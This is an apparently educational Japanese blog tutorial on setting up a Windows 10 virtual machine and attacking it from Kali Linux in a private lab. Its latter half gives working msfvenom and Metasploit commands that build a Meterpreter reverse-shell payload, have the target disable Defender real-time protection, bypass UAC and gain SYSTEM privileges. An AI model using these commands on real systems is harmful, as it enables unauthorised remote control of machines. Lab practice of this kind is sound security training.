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【ハッキング・ラボ⑨】Windows10をハッキングする〜Metasploit〜

Last updated at Posted at 2021-08-13

ターゲット端末にWindows10を導入し、初期設定を行います。
さらにMetasploitを使ってハッキングをしていきます。


まとめ記事(①〜⑯をまとめてます)
【ハッキング・ラボのつくりかた】をやってみた

システム環境

仮想化ソフト:VirtualBox 6.1.0
ホストOS:Windows10
ゲストOS1:Kali Linux 2020.1
ゲストOS2:Windows7
ゲストOS3:Windows10

攻撃端末はゲストOS1、ターゲット端末はゲストOS3です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS3が10.0.0.107です。

Windows10の導入

Windows10を導入していきます。

isoファイルのダウンロード

Kali LinuxやWindows7はovaファイルをインポートしましたが、今回はisoファイルからブートしてインポートします。
以下のURLからisoファイルをダウンロードします。
https://www.microsoft.com/ja-jp/software-download/windows10

「ツールを今すぐダウンロード」ボタンを押して、メディア作成ツールをダウンロードします。

メディア作成ツールを実行します。

ライセンス条項を確認して、「同意する」ボタンを押します。

「別のPCのインストールメディアを作成する」を選択して、「次へ」ボタンを押します。

以下の設定で「次へ」ボタンを押します。
hacking-lab-part9-1

「ISOファイル」を選択して、「次へ」ボタンを押します。

isoファイルの保存場所を指定します。
ファイル名はWindows10.isoとします。保存場所を指定すると、ダウンロードが開始されます。

仮想マシンの構築

VirtualBoxを起動して、「仮想マシン」→「新規」を選び、以下の設定で「次へ」ボタンを押します。
hacking-lab-part9-2

メモリーサイズは2Gバイトとし、「次へ」ボタンを押します。

「仮想ハードディスクを作成する」を選び、「作成」ボタンを押します。

「VDI (VirtualBox Disk Image)」を選び、「次へ」ボタンを押します。

「可変サイズ」を選び、「次へ」ボタンを押します。

ファイルの場所とサイズはデフォルトのままで「作成」ボタンを押します。

Windows10のインストール

空の仮想マシンができたので、Windows10をインストールしていきます。

Windows10の仮想マシンを起動すると、起動ハードディスクを選択する画面が出るので、ダウンロードしたisoファイルを指定します。
Windows Boot Managerでは64bitを選択します。
hacking-lab-part9-3

Windows10のインストーラーが起動しますので、ガイドに従ってインストールを完了させます。

インストールが完了したら、「設定」→「ストレージ」からisoファイルの割り当てを除去しておきます。
hacking-lab-part9-4

Windows10の初期設定

Windows10の初期設定を行っていきます。

Guest Additionsのインストール

仮想マシンメニューの「デバイス」→「Guest Additions CDイメージの挿入」から「VBoxWindowsAdditions.exeの実行」を選び、インストールします。

なお、「設定」→「ストレージ」から空のディスクを割り当てておかないとエラーが出るので、事前に割り当てておきます。
hacking-lab-part9-5

仮想マシンの設定

「設定」→「一般」の「高度」タブから「クリップボードの共有」と「ドラッグ&ドロップ」を「双方向」にします。

「設定」→「システム」の「マザーボード」タブから「ICH9」を選びます。

「設定」→「ネットワーク」でアダプター1にNAT、アダプター2にホストオンリーアダプターを割り当てます。

ネットワーク確認

Windows10を起動します。
コマンドプロンプトでipconfigコマンドを実行して、IPアドレスが割り当てられていることを確認します。
hacking-lab-part9-6

Windows10もPingの応答を返さないようになっているので、「コントロールパネル」→「システムとセキュリティ」→「Windows Defender ファイアウォール」→「詳細設定」→「受信の規則」→「ファイルとプリンターの共有(エコー要求 - ICMPv4受信)」から「ドメイン」、「プライベート, パブリック」を右クリックで「規則の有効化」を選びます。

ここまで完了したら、pingコマンドでNAT及びホストオンリーネットワークの疎通確認を行います。

Metasploitを使ってハッキングをする

ここからはMetasploitを使ってハッキングを行っていきます。

ペイロードの作成

Kali Linuxを起動して、ペイロードを作成します。

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil2.exe

Windows10でevil2.exeをダウンロードできるように公開用ディレクトリに移動します。

# cp /home/kali/Desktop/evil2.exe /var/www/html/share/
# service apache2 restart

ペイロードのダウンロード

Windows10側でhttp://10.0.0.2/shareにアクセスしてevil2.exeをダウンロードします。

しかし、ダウンロードしようとしても、Windows Defender Antivirusに検知され、ダウンロードできません。
hacking-lab-part9-7

なので、「設定」→「更新とセキュリティ」→「Windows セキュリティ」→
「ウイルスと脅威の防止」→「ウイルスと脅威の防止の設定」→「設定の管理」から「リアルタイム保護」をオフにします。

ダウンロードがうまくいったので、デスクトップに配置します。

リバースシェル接続

まず、Kali Linuxでリバースシェルを待ち受けます。
msfプロンプトで以下のコマンドを実行してリバースシェル接続を行います。

msf5
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit -j -z

Windows10でペイロードを実行し、リバースシェル接続を行います。

まず、リアルタイム保護をオンにした状態で実行してみます。
すると、以下のようなダイアログが表示され、接続に失敗することがわかります。
hacking-lab-part9-8

次に、リアルタイム保護をオフにした状態で実行すると、Kali Linux側でセッションが確立しました。
hacking-lab-part9-9

ここまでを見てみると、Windows10はWindows7と比較してセキュリティが向上していることがわかります。

SYSTEM権限の奪取

ターゲット端末に攻撃をするためにSYSTEM権限の奪取を試みます。
現在、セッションは確立していますが、UAC機能によって権限昇格に失敗します。
そこで、Windows7のときと同様にUAC機能をバイパスするモジュールを実行して、権限昇格を試みます。

msfプロンプトでsearchコマンドを実行して、「Rankがexcellent」かつ「日時が新しい」モジュールを探します。

ここではexploit/windows/local/bypassuac_silentcleanupモジュールを使用します。

msf5
> use exploit/windows/local/bypassuac_silentcleanup

ターゲットを確認します。

msf5
> show targets

ターゲットは0、セッションは1として、以下を実行します。

msf5
> set TARGET 0
> set SESSION 1
> set payload windows/x64/meterpreter/reverse_https
> set LHOST 10.0.0.2
> exploit

接続が成功すると、Meterpreterプロンプトが返ってきます。

以下を実行して、SYSTEM権限を奪取します。

meterpreter
> getsystem
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